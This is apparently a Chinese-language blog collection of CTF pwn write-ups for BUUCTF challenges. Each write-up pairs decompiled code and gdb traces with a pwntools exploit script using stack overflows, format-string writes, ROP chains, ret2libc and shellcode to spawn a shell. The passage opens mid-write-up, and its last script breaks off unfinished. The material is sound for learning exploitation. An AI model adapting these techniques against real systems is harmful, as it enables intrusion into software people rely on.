payload=p32(addr)+p32(addr+1)+p32(addr+2)+p32(addr+3)+"%10$hhn%11$hhn%12$hhn%13$hhn"

def debug(addr = '0x80492A6'):
    raw_input('debug:')
    gdb.attach(p, "b *" + addr)
debug()
p.sendline(payload)
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ esp  0xffe7b120 —▸ 0x804a027 ◂— 'your passwd:'
01:0004│      0xffe7b124 —▸ 0xffe7b148 —▸ 0x804c044 ◂— 0x10101010
02:0008│      0xffe7b128 ◂— 0x63 /* 'c' */
03:000c│      0xffe7b12c ◂— 0x0
04:0010│      0xffe7b130 —▸ 0xffe7b16e ◂— '13$hhn\n'
05:0014│      0xffe7b134 ◂— 0x3
06:0018│      0xffe7b138 ◂— 0xc2
07:001c│      0xffe7b13c —▸ 0xf7db36bb (handle_intel+107) ◂— add    esp, 0x10
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
 ► f 0  80492ce
   f 1 f7d3b637 __libc_start_main+247
gdb-peda$ x/20wx 0x804C044
0x804c044:    0x10101010    0x00000000    0x00000000    0x00000000
0x804c054:    0x00000000    0x00000000    0x00000000    0x00000000
0x804c064:    0x00000000    0x00000000    0x00000000    0x00000000
0x804c074:    0x00000000    0x00000000    0x00000000    0x00000000
0x804c084:    0x00000000    0x00000000    0x00000000    0x00000000
gdb-peda$ 

<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>

看到当前0x804c044值为0x10101010

所以我们输入pass为0x10101010 即可getshell

exp

from pwn import *
p=remote('node3.buuoj.cn',28184)
#p=process('PWN5')
#elf=ELF('PWN5')
#system=elf.plt['system']
#atoi=elf.got['atoi']
#log.info(p.recvuntil('your name:'))
#payload=fmtstr_payload(10,{atoi:system})
#p.sendline(payload)
#p.sendline('sh')
#p.interactive()
log.info(p.recvuntil('your name:'))
addr=0x804C044
payload=p32(addr)+p32(addr+1)+p32(addr+2)+p32(addr+3)+"%10$hhn%11$hhn%12$hhn%13$hhn"
def debug(addr = '0x80492A6'):
    raw_input('debug:')
    gdb.attach(p, "b *" + addr)
debug()

p.sendline(payload)
log.info(p.recvuntil('your passwd:'))
p.sendline(str(0x10101010))
p.interactive()

ciscn_2019_n_8

题目不难

我的f5解析的有问题

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp-14h] [ebp-20h]
  int v5; // [esp-10h] [ebp-1Ch]

  var[13] = 0;
  var[14] = 0;
  init();
  puts("What's your name?");
  __isoc99_scanf((int)"%s", (int)var, v4, v5);
  if ( *(_QWORD *)&var[13] )
  {
    if ( *(_QWORD *)&var[13] == 0x11)
      system("/bin/sh");
    else
      printf(
        "something wrong! val is %d",
        var[0],
        var[1],
        var[2],
        var[3],
        var[4],
        var[5],
        var[6],
        var[7],
        var[8],
        var[9],
        var[10],
        var[11],
        var[12],
        var[13],
        var[14]);
  }
  else
  {
    printf("%s, Welcome!\n", var);
    puts("Try do something~");
  }
  return 0;
}

查看 scanf读入字符串存入var处

这里f5处的条件为 var的14位要存在且第14位的值为0x11(从0位开始计算)

通过Ghidra解析


/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */

undefined4 main(void)

{
  int iVar1;
  undefined4 uVar2;
  int in_GS_OFFSET;
  EVP_PKEY_CTX *ctx;

  iVar1 = *(int *)(in_GS_OFFSET + 0x14);
  var._52_4_ = 0;
  var._56_4_ = 0;
  init(ctx);
  puts("What\'s your name?");
  __isoc99_scanf(&DAT_0001201a,var);
  if ((var._52_4_ | var._56_4_) == 0) {
    printf("%s, Welcome!\n",var);
    puts("Try do something~");
  }
  else {
    if ((var._52_4_ ^ 0x11 | var._56_4_) == 0) {
      system("/bin/sh");
    }
    else {
      printf("something wrong! val is %d",var._0_4_,var._4_4_,var._8_4_,var._12_4_,var._16_4_,
             var._20_4_,var._24_4_,var._28_4_,var._32_4_,var._36_4_,var._40_4_,var._44_4_,var._48_4_
             ,var._52_4_,var._56_4_);
    }
  }
  uVar2 = 0;
  if (iVar1 != *(int *)(in_GS_OFFSET + 0x14)) {
    uVar2 = __stack_chk_fail_local();
  }
  return uVar2;
}

if ((var._52_4_ ^ 0x11 | var._56_4_) == 0)

对比分析 可以知道第十四位其实为输入的第53位(从0计算到52)

所以可以得到exp

from pwn import *
context.log_level = 'debug' 
p=process('./ciscn_2019_n_8')
payload='a'*52+p32(0x11)
print "payload:"+str(payload)
log.info(p.recvuntil("What's your name?"))
p.sendline(payload)
p.interactive()

not_the_same_3dsctf_2016

checksec

ios@ubuntu:~/APwn/buuctf$ checksec not_the_same_3dsctf_2016
[*] '/home/ios/APwn/buuctf/not_the_same_3dsctf_2016'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
ios@ubuntu:~/APwn/buuctf$

查看下代码

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [esp+Fh] [ebp-2Dh]

  printf("b0r4 v3r s3 7u 4h o b1ch4o m3m0... ");
  gets(&v4);
  return 0;
}

函数很简单 给了gets 存在栈溢出

这里我使用了之前题目的方法

使用 mprotect() 修改一块地址段权限为可读可写可执行

接着rop构造read 在该地址段写入shellcode 从而getshell

如果还是没弄明白的可以参考上文

exp

from pwn import *
context.log_level='debug'
p=process('./not_the_same_3dsctf_2016')
elf=ELF('not_the_same_3dsctf_2016')
read_plt=elf.sym['read']
ss=0x080ea000
mprotect=0x806ED40
pop3=0x0804f420# pop ebx ; pop esi ; pop ebp ; ret
shellcode=asm(shellcraft.sh())
payload='a'*45+p32(mprotect)+p32(pop3)+p32(0x080ea000)+p32(0x2000)+p32(7)+p32(read_plt)+p32(pop3)+p32(0)+p32(ss)+p32(0x100)+p32(ss)
#gdb.attach(p, "b *" + "0x80489E0")
p.sendline(payload)
p.sendline(shellcode)
p.interactive()

[HarekazeCTF2019]baby_rop

###

检查保护

ios@ubuntu:~/APwn/buuctf$ checksec HarekazeCTF2019_babyrop
[*] '/home/ios/APwn/buuctf/HarekazeCTF2019_babyrop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
ios@ubuntu:~/APwn/buuctf$

查看代码

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+0h] [rbp-10h]

  system("echo -n \"What's your name? \"");
  __isoc99_scanf("%s", &v4);
  printf("Welcome to the Pwn World, %s!\n", &v4);
  return 0;
}

只开了nx且存在栈溢出

发现给了system函数

shift+f12搜索字符串

.data:0000000000601048    00000008    C    /bin/sh
LOAD:0000000000400238    0000001C    C    /lib64/ld-linux-x86-64.so.2
.eh_frame:0000000000400787    00000006    C    ;*3$\"
LOAD:000000000040039B    0000000C    C    GLIBC_2.2.5
LOAD:0000000000400391    0000000A    C    GLIBC_2.7
.rodata:00000000004006C8    0000001F    C    Welcome to the Pwn World, %s!\n
LOAD:0000000000400382    0000000F    C    __gmon_start__
LOAD:0000000000400353    0000000F    C    __isoc99_scanf
LOAD:0000000000400370    00000012    C    __libc_start_main
.rodata:00000000004006A8    0000001D    C    echo -n \"What's your name? \"
LOAD:0000000000400349    0000000A    C    libc.so.6
LOAD:0000000000400362    00000007    C    printf
LOAD:0000000000400369    00000007    C    system

看到也给了/bin/sh 那就很简单了

找一个gadget pop rdi ret。传sh地址 接着ret到system就可以起shell了

exp

from pwn import *

p=process('HarekazeCTF2019_babyrop')
pop_rdi=0x0000000000400683 # pop rdi ; ret
payload="a"*0x10+'b'*8+p64(pop_rdi)+p64(0x601048)+p64(0x400490)
p.sendline(payload)
p.interactive()

ciscn_2019_s_3

检查保护

ios@ubuntu:~/APwn/buuctf$ checksec ciscn_2019_s_3
[*] '/home/ios/APwn/buuctf/ciscn_2019_s_3'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
ios@ubuntu:~/APwn/buuctf$

查看源代码

int __cdecl main(int argc, const char **argv, const char **envp)
{
  return vuln();
}

main调用vuln

signed __int64 vuln()
{
  signed __int64 result; // rax

  __asm { syscall; LINUX - sys_read }
  result = 1LL;
  __asm { syscall; LINUX - sys_write }
  return result;
}

汇编 执行syscall 调用系统号 read 接着执行syscall 调用系统号 write

而64位执行syscall时 系统号存入rax

.text:00000000004004ED ; __unwind {
.text:00000000004004ED                 push    rbp
.text:00000000004004EE                 mov     rbp, rsp
.text:00000000004004F1                 xor     rax, rax
.text:00000000004004F4                 mov     edx, 400h       ; count
.text:00000000004004F9                 lea     rsi, [rsp+buf]  ; buf
.text:00000000004004FE                 mov     rdi, rax        ; fd
.text:0000000000400501                 syscall                 ; LINUX - sys_read
.text:0000000000400503                 mov     rax, 1
.text:000000000040050A                 mov     edx, 30h        ; count
.text:000000000040050F                 lea     rsi, [rsp+buf]  ; buf
.text:0000000000400514                 mov     rdi, rax        ; fd
.text:0000000000400517                 syscall                 ; LINUX - sys_write
.text:0000000000400519                 retn

看汇编可以知道 xor 这里将rax值变为0

查系统调用

1

0在64位中为系统调用read

继续看代码

.text:0000000000400503                 mov     rax, 1

这里rax=1 查系统调用

QQ20200226-191102@2x

和f5编译过来一致

接着debug测试read 找是否存在溢出

[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000400519 in vuln ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
 RAX  0x30
 RBX  0x0
 RCX  0x400519 (vuln+44) ◂— ret    
 RDX  0x30
 RDI  0x1
 RSI  0x7fffffffdcf0 ◂— 0x4173414125414141 ('AAA%AAsA')
 R8   0x4005b0 (__libc_csu_fini) ◂— ret    
 R9   0x7ffff7de7ac0 (_dl_fini) ◂— push   rbp
 R10  0x846
 R11  0x246
 R12  0x4003e0 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffde00 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffdd00 ◂— 0x41412d4141434141 ('AACAA-AA')
 RSP  0x7fffffffdd00 ◂— 0x41412d4141434141 ('AACAA-AA')
 RIP  0x400519 (vuln+44) ◂— ret    
───────────────────────────────────[ DISASM ]───────────────────────────────────
 ► 0x400519     ret    <0x41412d4141434141>










───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ rbp rsp  0x7fffffffdd00 ◂— 0x41412d4141434141 ('AACAA-AA')
01:0008│          0x7fffffffdd08 ◂— 0x413b414144414128 ('(AADAA;A')
02:0010│          0x7fffffffdd10 ◂— 0x6141414541412941 ('A)AAEAAa')
03:0018│          0x7fffffffdd18 ◂— 0x4141464141304141 ('AA0AAFAA')
04:0020│          0x7fffffffdd20 ◂— 0x4147414131414162 ('bAA1AAGA')
05:0028│          0x7fffffffdd28 ◂— 0x4841413241416341 ('AcAA2AAH')
06:0030│          0x7fffffffdd30 ◂— 0x4141334141644141 ('AAdAA3AA')
07:0038│          0x7fffffffdd38 ◂— 0x4134414165414149 ('IAAeAA4A')
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
 ► f 0           400519 vuln+44
   f 1 41412d4141434141
   f 2 413b414144414128
   f 3 6141414541412941
   f 4 4141464141304141
   f 5 4147414131414162
   f 6 4841413241416341
   f 7 4141334141644141
   f 8 4134414165414149
   f 9 3541416641414a41
   f 10 41416741414b4141
Program received signal SIGSEGV (fault address 0x0)
gdb-peda$ pattern offset 0x41412d4141434141
4702089244242559297 found at offset: 16
gdb-peda$

得到存在溢出 偏移为16

.text:00000000004004D6                 public gadgets
.text:00000000004004D6 gadgets         proc near
.text:00000000004004D6 ; __unwind {
.text:00000000004004D6                 push    rbp
.text:00000000004004D7                 mov     rbp, rsp
.text:00000000004004DA                 mov     rax, 0Fh
.text:00000000004004E1                 retn
.text:00000000004004E1 gadgets         endp ; sp-analysis failed
.text:00000000004004E1
.text:00000000004004E2 ; ---------------------------------------------------------------------------
.text:00000000004004E2                 mov     rax, 3Bh
.text:00000000004004E9                 retn

题目中给出一函数gadget 查看汇编可以发现有两段调用号

rax=0xf、rax=0x3B

QQ20200226-192018@2x

QQ20200226-192032@2x

得到两个系统调用 rt_sigreturn和execve

给了两个系统调用 我们采用execve调用来执行binsh

函数的原型:

int execve(const char *filename, char *const argv[], char *const envp[]);

我们需要完成构造execve(‘bin/sh’,0,0)

64位中我们可以采用通用gadget进行rop

__libc_csu_init

.text:0000000000400580 loc_400580:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400580                 mov     rdx, r13
.text:0000000000400583                 mov     rsi, r14
.text:0000000000400586                 mov     edi, r15d
.text:0000000000400589                 call    qword ptr [r12+rbx*8]
.text:000000000040058D                 add     rbx, 1
.text:0000000000400591                 cmp     rbx, rbp
.text:0000000000400594                 jnz     short loc_400580
.text:0000000000400596
.text:0000000000400596 loc_400596:                             ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400596                 add     rsp, 8
.text:000000000040059A                 pop     rbx
.text:000000000040059B                 pop     rbp
.text:000000000040059C                 pop     r12
.text:000000000040059E                 pop     r13
.text:00000000004005A0                 pop     r14
.text:00000000004005A2                 pop     r15
.text:00000000004005A4                 retn

此处有三段gadget

gadget1

.text:000000000040059A                 pop     rbx
.text:000000000040059B                 pop     rbp
.text:000000000040059C                 pop     r12
.text:000000000040059E                 pop     r13
.text:00000000004005A0                 pop     r14
.text:00000000004005A2                 pop     r15
.text:00000000004005A4                 retn

ret后接gadget2

.text:0000000000400580                 mov     rdx, r13
.text:0000000000400583                 mov     rsi, r14
.text:0000000000400586                 mov     edi, r15d
.text:0000000000400589                 call    qword ptr [r12+rbx*8]
.text:000000000040058D                 add     rbx, 1
.text:0000000000400591                 cmp     rbx, rbp
.text:0000000000400594                 jnz     short loc_400580

方便getshell的gadget3

.text:00000000004005A3                 分割pop r15 可以得到 pop rdi

本题有区别的地方是 如果使rbp=1 在执行完gadget2后填充56字节到ret是不可行的,填充后会溢出stack 无法构造rop

首先需要确定输入binsh后的地址

在执行syscall前下断 可以找到对应栈地址

QQ20200227-104308@2x

接着查看write的输出

QQ20200227-104535@2x

看到这里有打印出栈中地址 通过多次debug 确定该地址距离binsh偏移固定

gdb-peda$ p/x 0x7ffc6ae754b8- 0x7ffc6ae753a0
$1 = 0x118
gdb-peda$

所以第一次溢出主要目的写入 binsh以及leak写入地址 控制ret重新载入vuln

gdb.attach(p, "b *" + str(vuln))
payload1="/bin/sh\x00"*2+p64(vuln)
print len(payload1)
p.send(payload1)
base=u64(p.recv()[32:40])
print hex(base)
sh_addr=base-0x118

第二次则需要利用三段gadget进行参数控制 构造execve(‘bin/sh’,0,0)

这里也需要注意 如果rbp=0 时 gadget2 中会满足jnz跳转 跳转后再次执行gadget2

且第一次执行时会call r12,再次跳转会执行payload中gadget2的下一位地址

之后调用gadget3 rdi赋值为sh地址 ret syscall 即可getshell

留个小坑 后面继续搞

exp

from pwn import *
context.log_level='debug'
p=process('./ciscn_2019_s_3')
#define __NR_rt_sigreturn 15
sigreturn=0x4004DA# mov     rax, 0Fh
#define __NR_execve 59
execve=0x4004E2# mov     rax, 3Bh
gadget1=0x40059A#pop rbx rbp r12 r13 r14 r15
gadget2=0x400580#mov rdx r13 ,mov rsi r14 call r12
gadget3=0x4005A3#pop rdi ret
vuln=0x4004ED
syscall=0x400517
gdb.attach(p, "b *" + str(vuln))
payload1="/bin/sh\x00"*2+p64(vuln)
print len(payload1)


p.send(payload1)
base=u64(p.recv()[32:40])
print hex(base)
sh_addr=base-0x118
#sh_addr+0x50 -> 0x4004E2
payload2="/bin/sh\x00"*2+p64(gadget1)+p64(0)+p64(0)+p64(sh_addr+0x50)+p64(0)+p64(0)+p64(0)+p64(gadget2)+p64(execve)+p64(gadget3)+p64(sh_addr)+p64(syscall)
p.send(payload2)
p.interactive()

jarvisoj_level0

检查保护

ios@ubuntu:~/APwn/buuctf$ checksec level0 
[*] '/home/ios/APwn/buuctf/level0'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

查看源代码

ssize_t vulnerable_function()
{
  char buf; // [rsp+0h] [rbp-80h]

  return read(0, &buf, 0x200uLL);
}

这题没啥难度 给了shell

直接溢出到ret起shell

确定偏移

Program received signal SIGSEGV (fault address 0x0)
gdb-peda$ pattern offset 0x41416d4141514141
4702159612987654465 found at offset: 136
gdb-peda$

exp

from pwn import *

p=process('./level0')
payload="a"*136+p64(0x400596)
p.sendline(payload)
p.interactive()

[HarekazeCTF2019]baby_rop2

在无put write时利用printf 泄漏地址

检查保护

ios@ubuntu:~/APwn/buuctf$ checksec babyrop2
[*] '/home/ios/APwn/buuctf/babyrop2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

查看代码

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  char buf[28]; // [rsp+0h] [rbp-20h]
  int v6; // [rsp+1Ch] [rbp-4h]

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  printf("What's your name? ", 0LL);
  v3 = read(0, buf, 0x100uLL);
  v6 = v3;
  buf[v3 - 1] = 0;
  printf("Welcome to the Pwn World again, %s!\n", buf);
  return 0;
}

很直观buf会被溢出

基本思路 leak 函数地址 计算偏移 getshell

题目没用write puts用了printf 所以我们就来利用printf 来leak函数地址

思路

首页printf如何输出地址?

printf(&read)或者printf("格式化字符串",&read)

需要构造成这样

这里的格式化可以通过题目中有的或者find得到去构造

64位参数传递需要通过寄存器

从第一个到第六个依次保存在rdi,rsi,rdx,rcx,r8,r9。从第7个参数开始,接下来的所有参数都将通过栈传递

这里我们第一个参数 fmtstr 通过find 字符串格式化

gdb-peda$ find %s
Searching for '%s' in: None ranges
Found 292 results, display max 256 items:
  babyrop2 : 0x400790 --> 0xa217325 ('%s!\n')
  babyrop2 : 0x600790 --> 0xa217325 ('%s!\n')
      libc : 0x7ffff7a38860 (<_nl_find_locale+768>:    and    eax,0x397373)
      libc : 0x7ffff7b3d6a7 (<_openchild+23>:    and    eax,0x85fffc73)
      libc : 0x7ffff7b9964a --> 0x72740a000a0a7325 ('%s\n\n')
      libc : 0x7ffff7b99666 --> 0x617473000a0a7325 ('%s\n\n')
      libc : 0x7ffff7b99d93 ("%s%s%s%s%s%s%s%s%s%s\n")
      libc : 0x7ffff7b99d95 ("%s%s%s%s%s%s%s%s%s\n")
      libc : 0x7ffff7b99d97 ("%s%s%s%s%s%s%s%s\n")
      libc : 0x7ffff7b99d99 ("%s%s%s%s%s%s%s\n")
      libc : 0x7ffff7b99d9b ("%s%s%s%s%s%s\n")
      libc : 0x7ffff7b99d9d ("%s%s%s%s%s\n")
      libc : 0x7ffff7b99d9f ("%s%s%s%s\n")
      libc : 0x7ffff7b99da1 --> 0xa732573257325 ('%s%s%s\n')
      libc : 0x7ffff7b99da3 --> 0x4e49000a73257325 ('%s%s\n')
      libc : 0x7ffff7b99da5 --> 0x4f464e49000a7325 ('%s\n')
      libc : 0x7ffff7b99e44 ("%s%sUnknown signal %d\n")
      libc : 0x7ffff7b99e46 ("%sUnknown signal %d\n")
      libc : 0x7ffff7b99f0c ("%s%ssignal %d\n")
      libc : 0x7ffff7b99f0e ("%ssignal %d\n")
      libc : 0x7ffff7b99f4d --> 0x5d70255b00207325 ('%s ')
      libc : 0x7ffff7b99f6f --> 0x6375530028207325 ('%s (')
      libc : 0x7ffff7b9af41 ("%s%s%s[%p] ")
      libc : 0x7ffff7b9af43 ("%s%s[%p] ")
--More--(25/257)

发现程序中存在%s 那我们就利用%s获取

接着需要传入格式化的值通过顺位第二个寄存器rsi存入read_got

接着ret到printf_plt即可完成泄漏

后续就是计算system与binsh addr getshell

exp

from pwn import *
context.log_level = 'debug' 

p=process('./babyrop2')
elf=ELF('babyrop2')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
printf_plt=elf.sym['printf']
read_got=elf.got['read']
pop_rdi=0x0000000000400733# : pop rdi ; ret
pop_rsi=0x0000000000400731# : pop rsi ; pop r15 ; ret
fmt=0x400790
main=0x400636
payload="a"*0x20+'b'*8+p64(pop_rdi)+p64(fmt)+p64(pop_rsi)+p64(read_got)+p64(0)+p64(printf_plt)+p64(main)
p.sendline(payload)

read=u64(p.recv()[-26:-20].ljust(8,'\x00'))

print hex(read)
system=read-libc.sym['read']+libc.sym['system']
sh=read-libc.sym['read']+next(libc.search('/bin/sh'))
print hex(sh)
payload1="a"*0x20+'b'*8+p64(pop_rdi)+p64(sh)+p64(system)
p.sendline(payload1)
p.interactive()

jarvisoj_level2

这题不多说了 之前也是做过的 直接getshell就好

exp

from pwn import *
p=process('level2')
system=0x8048320
sh=0x804A024
payload='a'*0x88+'b'*4+p32(system)+p32(0x1553155)+p32(sh)
p.sendline(payload)
p.interactive()

ciscn_2019_n_5

基本栈溢出 ret_shellcode

检查保护

ios@ubuntu:~/APwn/buuctf$ checksec ciscn_2019_n_5
[*] '/home/ios/APwn/buuctf/ciscn_2019_n_5'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
ios@ubuntu:~/APwn/buuctf$

保护全关

exp

from pwn import *
context(arch='amd64', os='linux',log_level='debug')
#p=process('./ciscn_2019_n_5')
p=remote('node3.buuoj.cn',25965)
sh=asm(shellcraft.amd64.sh())
p.sendline(sh)
p.recvuntil('What do you want to say to me?')
payload='a'*(0x20+0x8)+p64(0x601080)

p.sendline(payload)

p.interactive()

[BJDCTF 2nd]r2t3

检查保护

ios@ubuntu:~/APwn/buuctf$ checksec r2t3
[*] '/home/ios/APwn/buuctf/r2t3'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

ida分析

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [esp+0h] [ebp-408h]

  my_init();
  puts("**********************************");
  puts("*     Welcome to the BJDCTF!     *");
  puts("[+]Ret2text3.0?");
  puts("[+]Please input your name:");
  read(0, &buf, 0x400u);
  name_check(&buf);
  puts("Welcome ,u win!");
  return 0;
}

read 读入0x400大小的字符串放入buf中 且此处不存在溢出

调用函数 name_check(&buf);

char *__cdecl name_check(char *s)
{
  char dest; // [esp+7h] [ebp-11h]
  unsigned __int8 v3; // [esp+Fh] [ebp-9h]

  v3 = strlen(s);
  if ( v3 <= 3u || v3 > 8u )
  {
    puts("Oops,u name is too long!");
    exit(-1);
  }
  printf("Hello,My dear %s", s);
  return strcpy(&dest, s);
}

对输入的s 检测长度存存入v3 (这里strlen存在两个问题 1.可以通过\x00 截断控制长度 2.在32位中寄存器可存放长度为255,如果我们输入字符串长度为256 则寄存器会溢出 得到的字符串长为1)

QQ20200803-174403@2x

EAX为实际长度,EDX为此时strlen返回的值也就是v3

继续向下

strcpy(&dest, s);

strcpy 会复制s中的字符串(直到读到\x00停止)到dest中 ,所以这道题目不能使用\x00绕过,而应该采取第二种溢出strlen的返回值即可

QQ20200803-174759@2x

可以看到 如果我们发送的字符串长度为0x104(260)则溢出后的v3=EDX=0x4 满足判断条件>=3 <8

题目中给了binsh 以及system地址 因为system没有在程序中调用过 我们还需要从plt开始完成调用

exp

from pwn import *
context.log_level='debug'
p=process('./r2t3')
binsh=0x8048760
system=0x8048430
print len(p32(binsh))
p.recvuntil('name')
gdb.attach(p)
#payload=
payload="a"*0x11+"bbbb"+p32(system)+p32(0x1553155)+p32(binsh)
payload+="v"*(260-len(payload))
p.send(payload)
p.interactive()

bjdctf_2020_babystack

简单溢出

QQ20200803-182420@2x

exp

from pwn import *
context.log_level='debug'
#p=process('./bjdctf_2020_babystack')
p=remote('node3.buuoj.cn',25988)
p.recvuntil('name')
p.sendline(str(100))
p.recvuntil('name')
payload="a"*24+p64(0x4006E6)
p.sendline(payload)
p.interactive()

ciscn_2019_ne_5

检查保护

ios@ubuntu:~/APwn/buuctf$ checksec ciscn_2019_ne_5
[*] '/home/ios/APwn/buuctf/ciscn_2019_ne_5'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
ios@ubuntu:~/APwn/buuctf$

ida分析

QQ20200803-204204@2x

题目需要先输入 密码然后返回菜单

int __cdecl AddLog(int a1)
{
  printf("Please input new log info:");
  return __isoc99_scanf("%128s", a1);
}

addlog函数读入字符串 长度为128,a1为src

int __cdecl Display(char *s)
{
  return puts(s);
}

puts打印我们刚输入的字符串

int Print()
{
  return system("echo Printing......");
}

print给了system ,我们可以考虑利用这里的system参数sh或者bin/sh参数getshell

int __cdecl GetFlag(char *src)
{
  char dest[4]; // [esp+0h] [ebp-48h]
  char v3; // [esp+4h] [ebp-44h]

  *(_DWORD *)dest = 0x30;
  memset(&v3, 0, 0x3Cu);
  strcpy(dest, src);
  return printf("The flag is your log:%s\n", dest);
}

strcpy 存在溢出 覆盖0x48+0x4即可到ret(这里要注意strcpy的性质简单\x00就截断,所以如果构造调试发现没有溢出 问题就出在这里!)

刚开始我认为这道题目需要ret2libc 然后getshell,但是调试发现binsh地址被截断无法溢出

gdb find sh 发现存在sh 所以可以考虑溢出跳转到print函数调用system前 push edx后 getshell

QQ20200803-204950@2x

我们用fflush中的sh来进行getshell

exp

from pwn import *
context.log_level='debug'
#p=process('./ciscn_2019_ne_5')
p=remote('node3.buuoj.cn',26812)
elf=ELF('ciscn_2019_ne_5')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
puts_plt=elf.sym['puts']
puts_got=elf.got['puts']
main=0x8048722
p.recvuntil('password:')
p.sendline('administrator')
p.recvuntil('Input your operation:')
p.recvuntil(':')
p.sendline('1')
payload='a'*76+p32(0x80486B7)+p32(0x80482ea)
p.sendline(payload)
p.recvuntil('Input your operation:')
p.recvuntil(':')
p.sendline('2')
#gdb.attach(p)
p.recvuntil('Input your operation:')
p.recvuntil(':')
p.sendline('4')
p.interactive()

pwn2_sctf_2016

gdb-peda$ checksec 
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

ida分析

int vuln()
{
  char nptr; // [esp+1Ch] [ebp-2Ch]
  int v2; // [esp+3Ch] [ebp-Ch]

  printf("How many bytes do you want me to read? ");
  get_n((int)&nptr, 4u);
  v2 = atoi(&nptr);
  if ( v2 > 32 )
    return printf("No! That size (%d) is too large!\n", v2);
  printf("Ok, sounds good. Give me %u bytes of data!\n", v2);
  get_n((int)&nptr, v2);
  return printf("You said: %s\n", &nptr);
}

v2存在问题

这里会有有符号和无符号数的转化 ,如果传入负数会进行负数到正数的转化导致:v2=-1 (绕过if判断) 然后再get_n中 v2被定义成了无符号 整型出现v2=4294967295

unsigned int __cdecl get_n(int input, unsigned int size) //这里的size就是传入的v2
{
  unsigned int v2; // eax
  unsigned int result; // eax
  char v4; // [esp+Bh] [ebp-Dh]
  unsigned int v5; // [esp+Ch] [ebp-Ch]

这样的转换会使v2从负数变为正数4294967295 从而导致溢出nptr

然后就可以常规ret2libc就能getshell了

exp

from pwn import *
context.log_level='debug'
#p=process('./pwn2_sctf_2016')
p=remote('node3.buuoj.cn',26491)
elf=ELF('pwn2_sctf_2016')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
printl_plt=elf.sym['printf']
printl_got=elf.got['printf']
p.recvuntil('?')
p.sendline('-1')
#gdb.attach(p)
p.recvuntil('!')
payload="a"*0x30+p32(printl_plt)+p32(0x80485B8)+p32(printl_got)+p32(0x8048702)
p.sendline(payload)
p.recvuntil("\x0a")
p.recvuntil("\x0a")
printf=u32(p.recv(4))
print hex(printf)
base=printf-0x049020
system=base+0x03a940
binsh=base+0x15902b
p.recvuntil('?')
p.sendline('-1')
p.recvuntil('!')
payload="a"*0x30+p32(system)+p32(0x1553155)+p32(binsh)
p.sendline(payload)
#gdb.attach(p)
p.interactive()

铁人三项(第五赛区)_2018_rop

检查保护

gdb-peda$ checksec 
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

ida分析

int __cdecl main(int argc, const char **argv, const char **envp)
{
  be_nice_to_people();
  vulnerable_function();
  return write(1, "Hello, World\n", 0xDu);
}
int be_nice_to_people()
{
  __gid_t v0; // ST1C_4

  v0 = getegid();
  return setresgid(v0, v0, v0);
}
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>

获取当前运行程序的id 如果是root则为0

修改程序权限为当前运行权限

ssize_t vulnerable_function()
{
  char buf; // [esp+10h] [ebp-88h]

  return read(0, &buf, 0x100u);
}

存在溢出

可以利用write leak libc

QQ20200804-000124@2x

主要write函数的参数以及堆栈排布

payload="a"*0x8c+p32(write)+p32(0x80484C6)+p32(0x1)+p32(read)+p32(4)

所以对应构造堆栈排布即可leak

exp

from pwn import *
context.log_level='debug'
#p=process('./2018_rop')
p=remote('node3.buuoj.cn',28487)
libc=ELF('libc/18/x86-libc-2.27.so')
elf=ELF('2018_rop')
write=elf.sym['write']
read=elf.got['read']
#gdb.attach(p)
payload="a"*0x8c+p32(write)+p32(0x80484C6)+p32(0x1)+p32(read)+p32(4)
p.sendline(payload)
read=u32(p.recv())
print hex(read)
base=read-libc.sym['read']
system=base+libc.sym['system']
binsh=base+next(libc.search('/bin/sh'))
payload="a"*0x8c+p32(system)+p32(0x15553)+p32(binsh)
